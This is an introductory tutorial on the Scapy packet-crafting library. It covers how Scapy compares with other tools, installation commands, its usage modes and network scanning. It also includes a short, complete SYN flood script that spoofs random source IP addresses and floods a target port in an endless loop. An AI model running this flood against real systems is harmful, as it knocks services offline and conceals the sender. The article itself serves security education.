Advantages of Scapy over other tools

There are a lot of open source tools such as Nmap, Zenmap and Netcat available to perform a port scan. Vulnerability scanning can be done by open source tools such as OpenVAS, Metasploit, etc. Packet sniffing can be done by tools like Wireshark. But *all* these activities are possible with Scapy.

Scapy is a tool with which you can craft your own packets, send them on the network, receive the responses from the network and analyse them. Other tools like Nmap are made for specific functions and cannot do much more than that but Scapy, being a packet crafting program, is very flexible. With Scapy you can manipulate and make the packets you want to send. It is also possible to programmatically analyse the packets and get the information that is required.

Downloading and installing Scapy

We can download Scapy from *https://scapy.net/download/* and install it with the following command:

```
$pip install --pre scapy[basic]
```

This command installs the Python shell along with Scapy. There are other commands we can use. To install only *scapy*, type:

```
$pip install scapy
```

If you want to install Scapy with all the dependencies, write the following code:

```
$pip install -pre scapy[complete]
```

Scapy modes

Scapy interactive mode: In this mode, the Scapy commands are run from the terminal. This is good for the one-line commands. This is just a Python interpreter loaded with Scapy classes and objects.

Importing Scapy as a module: In this mode, Scapy is imported as a module and used in Python. This is used for programmatically manipulating the packets.

Cyber attacks using Scapy

The small program given below demonstrates the SYN flood attack using Scapy:

```
from scapy.all import *
#IP Address of the target under attack
ip_target = "192.168.1.11"
#Port of the target
port_target = 55555

#Spoof IP adress
ip = IP(src=RandIP("192.168.1.1/24"),
dst=ip_target)
#Prepare TCP SYN packet
tcp = TCP(sport=RandShort(), dport=port_
target, flags="S")

raw = Raw(b"X"*1024)

# stack up the layers
p = ip / tcp / raw
# send the constructed packet in a loop
until CTRL+C is detected
send(p, loop=1, verbose=0)
```

Network scanning using Scapy module

The process of scanning the whole network and trying to find out all the clients that are connected to it is known as network scanning. We can identify clients using their IP and MAC addresses. ARP ping can be used to find out the 'live' systems in the network.

Scapy provides a Python interface with libpcap or native raw sockets, similar to the way Wireshark provides a view and captures GUI. With an understanding of the types of attacks and the ways to mitigate them, I leave it to you to try out Scapy and check further use cases. For more details, you can visit *https://scapy.net/* and read the documentation. END

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